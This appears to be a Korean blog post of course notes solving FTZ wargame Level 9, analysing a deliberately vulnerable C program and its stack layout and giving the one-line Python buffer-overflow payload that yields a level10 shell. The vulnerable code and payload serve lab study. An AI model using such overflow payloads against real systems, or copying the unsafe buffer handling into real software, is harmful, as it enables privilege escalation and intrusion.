1. FTZ Level 9
1-1. BoF 공격을 위한 소스 코드 내용 분석
- buf, buf2 구조를 파악하여 BoF를 발생시켜서 buf2에 'go'라고하는 2개의 문자를 입력한다.
- 그럼 level10 권한을 획득하여 '/bin/bash' 쉘이 실행되어 level10 계정의 패스워드를 확인할 수 있다.
- BoF가 발생되는 원인은 buf는 10byte인데 fgets 함수로 40byte를 입력받기 때문이다.
1-2. '/usr/bin/bof' 파일은 gdb 디버깅 권한이 없기 때문에 hint에서 제공하는 소스 코드를 이용하여 프로그램을 제작한다.
vi bof.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
gcc -o bof bof.c
gdb -q bof
1-3. 스택 구조 파악
[낮은 주소]
──────── ebp-0x28(40)
buf[10] a * 10
────────
dummy[6] a * 6
──────── ebp-0x18(24)
buf2[10] go
────────
dummy[14]
────────
ebp
────────
ret
────────
argc
────────
argv
────────
env
────────
[높은 주소]
1-4. 실제 프로그램에 BoF 공격 한다.
python -c 'print "a"*16+"go"'
/usr/bin/bof
2. FTZ Level 11
3. FTZ Level 12
4. FTZ Level 13
5. FTZ Level 14
6. FTZ Level 15
7. FTZ Level 16
8. FTZ Level 17
9. FTZ Level 18
10. FTZ Level 19
'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글
[3-12] FTZ FSB (0) | 2022.09.12 |
---|---|
[3-10] 메모리 구조 (0) | 2022.09.12 |
[3-9] 어셈블리어 (0) | 2022.09.12 |
[3-8] 레지스터 구조 (0) | 2022.09.12 |
[3-7] BeEF (0) | 2022.09.12 |